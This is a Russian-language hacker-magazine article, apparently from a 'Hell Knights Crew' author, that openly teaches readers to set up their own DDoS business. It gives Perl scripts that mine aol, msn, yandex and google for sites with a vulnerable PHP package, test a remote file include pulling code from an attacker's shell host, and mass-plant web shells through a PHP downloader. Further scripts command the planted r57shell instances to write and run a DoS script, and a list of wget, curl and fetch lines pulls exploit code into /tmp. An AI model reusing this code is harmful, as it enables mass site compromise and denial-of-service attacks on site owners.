Эта статья носит сугубо практический характер, прочитав ее и закрепив на практике многие скажут — ‘спасибо n4n0bit’,
ибо на мой взгляд она должна показаться интересной читателю.
После ее прочтения можно будет самому писать средства DDOS и уже не покупать у кого
то услуги, а организовывать свой DDOS бизнес. Так же
можно использоваться этот материал и для
защиты, для поиска сайтов с уязвимым ПО и
оповещении их владельцев.  

Перейдем непосредственно к практике. 

Поисковая часть

Для поиска будем использовать 4 поисковые системы: aol.com, msn.com,
yandex.ru и google.com.

#!/usr/bin/perl 
use strict; 
use warnings; 
use LWP::UserAgent; 

our $h0pz = 20; # число скачков по результатам поисковика 
our $banner = 'kblance'; #
собственно цель поиска 
our $mask = 'BB/'; #
маска установочного
пути, т.е. http://bla.ru/phpBB/index.php, если ПО установлено сразу в корень,

#
т.е. http://bla.ru/index.php, значение переменной оставляем пустым 
our $include = 'http://[my_shell]/script'; #
это путь к скрипту который мы хотим подгрузить, используя уязвимость 
our $accord = 'vse_*aebis'; # возращаемый
ответ соответствия 

our @c0ntent = (); #
в эту переменную будет в последующем заноситься результаты поиска 
our @uRLS = (); #
здесь буду уже будут содержаться исключительно URLы 

# опишем подпрограмму поиска используя aol.com 

sub aolCom 

print "[:: aol.com ::]\n"; 
for(my $i = 1; $i <= $h0pz/10; $i++) #
скачем по страницам результатов 

my $ua = LWP::UserAgent->new; 
#
указываем UserAgent браузера 
$ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent); 
#
Составляем запрос
поиковику с переменными $banner и $i 

my $req = HTTP::Request->new(GET => "http://search.aol.com/aolcom/search?invocationType=topsearchbox.search&query=$banner&page=$i");
$req->header('Accept' => 'text/html'); 
#
отправляем запрос 
my $res = $ua->request($req); 
#
добавляем в массив @c0ntent общий результат поиска 
push @c0ntent, $res->content; 

#
выдираем из общего результата толька URL-ы 
foreach(@c0ntent){push @uRLS, $_ =~ m{<b id="[^"]*">(.+?)</b>}smig;} #" 

# опишем подпрограмму поиска используя msn.com 
sub msnCom 

print "[:: msn.com ::]\n"; 
for(my $i = 1; $i <= $h0pz; $i += 10) #
скачем по страницам результатов 

my $ua = LWP::UserAgent->new; 
$ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent); 
my $req = HTTP::Request->new(GET => "http://search.msn.com/results.aspx?q=$banner&first=$i&FORM="); 
$req->header('Accept' => 'text/html'); 
my $res = $ua->request($req); 
push @c0ntent, $res->content; 

foreach(@c0ntent){push @uRLS, $_ =~ /<h3><a.\w+\W{2}(.+?)\W>/g;} #" 

# опишем код поиска по яндексу 
sub yandex 

print "[:: yandex.ru ::]\n"; 
for(my $i = 1; $i <= $h0pz/10; $i++) #
скачем по страницам результатов 

my $ua = LWP::UserAgent->new; 
$ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent); 
my $req = HTTP::Request->new(GET => "http://ya.ru/yandpage?&q=744300646&p=$i&ag=d&qs=rpt%3Drad%26text%3D$banner");
$req->header('Accept' => 'text/html'); 
my $res = $ua->request($req); 
push @c0ntent, $res->content; 

foreach(@c0ntent){push @uRLS, $_ =~ /\W{3}.href\W{2}(.+?)\W.target/g;} #" 

#
ну и всеми любимый гуглА ;) 

sub google 

print "[:: google.com ::]\n"; 
for(my $i = 1; $i <= $h0pz; $i += 10) #
скачем по страницам результатов 

my $ua = LWP::UserAgent->new; 
$ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent); 
my $req = HTTP::Request->new(GET => "http://google.com/search?q=$banner&hl=en&lr=&start=$i&sa=N"); 
$req->header('Accept' => 'text/html'); 
my $res = $ua->request($req); 
push @c0ntent, $res->content; 

foreach(@c0ntent){push @uRLS, $_ =~ /<a.\w+\W{2}.\W.\w+\W{2}(.+?)\W>/g;} #" 

Поисковая часть готова. Как вы видите, все
довольно просто. Единственное, что требуется,
так это менять шаблоны для парсинга. 

Я поясню, почему в одном случае делается for(my $i = 1; $i <= $h0pz; $i
+= 10), а в другом for(my $i = 1; $i <= $h0pz/10; $i++);
Когда поисковик выдал первый результат на 1й странице, вы
можете просмотреть результаты и на последующих страницах
и щелкать 1,2,3…10. У гугла, например, в переменную «start» ( =en&lr=&start=$i& ) добавляется 10 всегда если вы на первой, если на 2й то еще 10 и того 20; у других же поисковиков, например yandex.ru, передается в переменную «p» ( 744300646&p=$i&ag=d&qs ) по порядку цифры, от 1 и дальше в зависимости
от того сколько страниц результата поиска. Ну а уже наша переменна
$i и есть число следующей страницы результатов. Тут думаю все понятно. 

Фильтрация результатов

Здесь опешим «фильтр», т.к. из этих 4х поисковиков в переменной массива @uRLS могут содержаться одинаковые результаты,
т.е. одинаковые урлы, поэтому нам требуется выбросить из массива одинаковые результаты. Что бы воспользоваться ф-цией
filter() нужно ей передать УРЛы, это уже я не буду
описывать, это касается и последующих ф-ций. 

sub filter # filter("список урлов"); 

print "[:: filtering ::]\n"; 
my (%uR,%glob); 
foreach(@_) # 

/(.+?$mask)/oi; #
определяем УРЛ до маски
установочного пути и заносим в специальную переменную $1 

my $url = $1; 
$uR{$_} = $url if /$mask/oi; #
добавим УРЛ если он содержит маску
установочного пути 

next if exists $uR{$_}; #
если такой УРЛ уже
содержится в качестве ключа хеша %uR, то исключим его 

foreach(keys %uR) 

/.+?\/\/.+?(\/.*$mask)/oi; #
здесь
определяем установочный путь уязвимого ПО и заносим в специальную переменную $1

my $dir = $1; 
my @own = split(/\//,$_); 
unless($own[2] =~ /^www/) { $own[2] = "www.".$own[2]; } #
добавим "www" если они
отсутствуют 
$glob{$own[2]} = $dir; # ключом является УРЛ, а значением ключа установочный путь 

return %glob; # возвращаем результат
host/repl 

Exploiting

Подпрограмма фильтрации у нас есть, поисковая часть тоже есть,
напишем подпрограмму, которая будет проверять
работоспособность уязвимости. 

sub fucking # fucking("\%glob"); 

print "[:: exploiting ::]\n"; 
foreach my $href(\%glob) 

while(my($a,$b) = each %$href) #
пройдясь по хешу
запишем в переменную $a хост, а в $b установочный путь
 

my $ua = LWP::UserAgent->new; 
$ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent); 
my $req = HTTP::Request->new(GET => "http://$a$b$include"); #
добавляем переменную $include 
$req->header('Accept' => 'text/html'); 
my $res = $ua->request($req); 

if($res->content =~ /$accord/oi) # проверяем ответ сервера на наличия слова-соответствия 

print "[+] $a$b$include\n"; #
выводим результат если все удалось 

else 

print "[-] $a$b$include\n"; #
если не удалось 



Вам только остается все это дело склеить,
добавив еще 5 строк кода. 

Автошеллер

Далее поведаю вам как можно написать простой автошеллер. Автошеллер это
автоматизированный скрипт, который используя уязвимость 
закачивает шелл-скрипт (ну или что то другое).
Посмотрим на примере:

Мы имеем 100% php-include по этому урлу:

http://victim.org/admin.php?i=[здесь_уязвимость]

В значение переменной «i» мы подставляем
следующий урл:

http://[SHELL]/p.php&url=http://[SOURCE]/post.txt&kuda =./&name=iamhax0r.php 

Все в целом будет выглядить так: 

http://[victim.org]/admin.php?i=http://[SHELL]/p.php&url=
http://[SOURCE]/post.txt&kuda=./&name=iamhax0r.php 

  • В значение переменной «url» ставим урл того, что требуется скачать  
  • "kuda" — заносим значение куда нужна сохранить, а нашем случае в текущую диру «./» 
  • "name" — пишем под каким именем нужна сохранить

Итак, используя этот вариант и учитывая, что бага нам позволит им воспользоваться, мы можем
закачать любой файл на сервер не
пользуясь wget, fetch, curl и прочими программами для закачки.
После того как вы закачаете файл и он будет удачно сохранен,
будет отправлен ответ в виде сообщения «You_the_mainest_evil_of_runet by Hell Knights Crew», который послужит в дальнейшем сигнализатором выполнения успешной работы.

Вот содержимое p.php : 

<?php 
$f=file_get_contents($_GET['url']); 
$h=fopen($_GET['kuda'].$_GET['name'],'w'); 
fputs($h,$f); 
fclose($h) && print "You_the_mainest_evil_of_runet by Hell Knights Crew"; 
?> 

Пишим сам код автошеллера: 

#!/usr/bin/perl 
use strict; 
use LWP::UserAgent; 
use warnings; 
our $sh_file = 'shells.txt'; 
our $reply = 'http://shell.narod.ru/p.php&url= http://src.byru/post.txt&kuda=./&name=iamhax0r.php'; 
open(SH,"$sh_file") or die "$!"; 
foreach(<SH>) 

chomp; 
my $ua = LWP::UserAgent->new; 
$ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent); 
my $req = HTTP::Request->new(GET => "$_$reply"); 
$req->header('Accept' => 'text/html'); 
my $res = $ua->request($req); 
if($res->content =~ /You_the_mainest_evil_of_runet by Hell Knights Crew/) { print "[+] $_$reply\n"; } 
else { print "[-] $_$reply\n"; } 


close SH; 

Организация ddos на базе web-шеллов 

Думаю, что для названия этой статьи будет актуально привести небольшой пример организации DDOS атак построенный на
шелл-скриптах. Суть очень проста: вы имеете файл, содержащий
список уже закаченных и рабочих шелов. Возьмем за основу r57shell 1.31.
Проста передаем параметры скрипту и все:

#!/usr/bin/perl 
use strict; 
use warnings; 
use LWP::UserAgent; 
use HTTP::Request::Common; 
our $name = 'ddos.pl'; 
our $src = 'здесь будет содержаться текст, будь то тело досера
или просто Hello Word'; 
our $dir = '/tmp/'; 
open(SH,"shell.txt") or die "$!"; 
chomp(our @sh = <SH>); 
close SH; 
foreach(@sh) 

my $ua = new LWP::UserAgent; 
my $res = $ua->request(POST "$_", 

cmd => "echo $src>$name;perl $name", 
dir => "$dir", 
submit => '' 
]); 
if($res->{_rc} =~ /200/) { print "Reply [ok]\n"; } 

Этот момент мне нравиться тем, что опять не
нужно пользоваться уже установленными качалками, а все делается через echo, который
всегда есть, а wget-ов, фетчей и прочих курлов может и не быть либо ограничен к ним доступ. 

Средства закачки файлов в unix-like

Рассмотрим средства закачки файлов в unix
среде: 

which и whereis поможет вам определить местоположение ниже приведенных
программ. 

Далее собственно качалки: 

wget http://[target]/exploit.c -O /tmp/temlet.txt 
fetch -o http://[target]/exploit.c -p /tmp/templet.txt 
lynx -source http://[target]/exploit.c > /tmp/templet.txt 
links -source http://[target]/exploit.c > /tmp/templet.txt 
curl http://[target]/exploit.c -o /tmp/temlet.txt 
cd /tmp;pear download http://[target]/exploit.c 
GET http://[target]/exploit.c > /tmp/tempet.txt 

Ссылки 

http://www.ffesys.com/docs/tutorial/perl/google.html

http://n4n0bit.nm.ru/

http://hellknights.void.ru/

Gr337z

zimin4ik, Hell Knights Crew

Оставить мнение

Check Also

LUKS container vs Border Patrol Agent. Как уберечь свои данные, пересекая границу

Не секрет, что если ты собрался посетить такие страны как США или Великобританию то, прежд…